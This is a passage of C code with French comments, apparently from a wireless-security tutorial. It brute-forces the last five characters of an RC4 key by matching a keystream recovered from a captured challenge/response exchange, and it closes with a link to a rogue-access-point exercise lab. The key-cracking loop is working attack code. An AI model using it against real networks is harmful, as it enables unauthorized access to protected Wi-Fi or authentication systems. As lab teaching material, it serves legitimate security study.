      for (unsigned char c1 = 32; c1 <= 126; c1++)
      {
          if (!checkChar(c1))
              continue;
          for (unsigned char c2 = 32; c2 <= 126; c2++)
          {
              if (!checkChar(c2))
                  continue;
              for (unsigned char c3 = 32; c3 <= 126; c3++)
              {
                  if (!checkChar(c3))
                      continue;
                  for (unsigned char c4 = 32; c4 <= 126; c4++)
                  {
                      if (!checkChar(c4))
                          continue;
                      for (unsigned char c5 = 32; c5 <= 126; c5++)
                      {
                          if (!checkChar(c5))
                              continue;
  
                          unsigned char stateRC4[256];
                          unsigned char *keyStream = malloc(keystream_len + 8);
                          if (keyStream == NULL)
                          {
                              perror("malloc");
                              free(challenge);
                              free(response);
                              free(targetKeyStream);
                              return EXIT_FAILURE;
                          }
  
                          // Construction de la clé
                          currentPwd[3] = c1;
                          currentPwd[4] = c2;
                          currentPwd[5] = c3;
                          currentPwd[6] = c4;
                          currentPwd[7] = c5;
  
                          // Initialisation de RC4
                          ksa(stateRC4, currentPwd, 8);
  
                          // Génération du keystream
                          prga(stateRC4, keyStream, keystream_len + 8);
  
                          // Vérification du keystream
                          if (memcmp(targetKeyStream, keyStream + 8, keystream_len) == 0)
                          {
                              printf("Clé trouvée : ");
                              for (i = 3; i < 8; i++)
                                  printf("%c", currentPwd[i]);
                              printf("\n");
                              free(challenge);
                              free(response);
                              free(targetKeyStream);
                              free(keyStream);
                              exit(EXIT_SUCCESS);
                          }
  
                          free(keyStream);
  
                          // Affichage périodique
                          info++;
                          if (info == 100000)
                          {
                              printf("Test en cours : %c%c%c%c%c\n", currentPwd[3], currentPwd[4], currentPwd[5], currentPwd[6], currentPwd[7]);
                              info = 0;
                          }
                      }
                  }
              }
          }
      }
  
      printf("Aucune clé trouvée...\n");
  
      free(challenge);
      free(response);
      free(targetKeyStream);
  
      return EXIT_FAILURE;
  }
  

Ressources supplémentaires :

Environnement d’exercices : https://github.com/koutto/pi-pwnbox-rogueap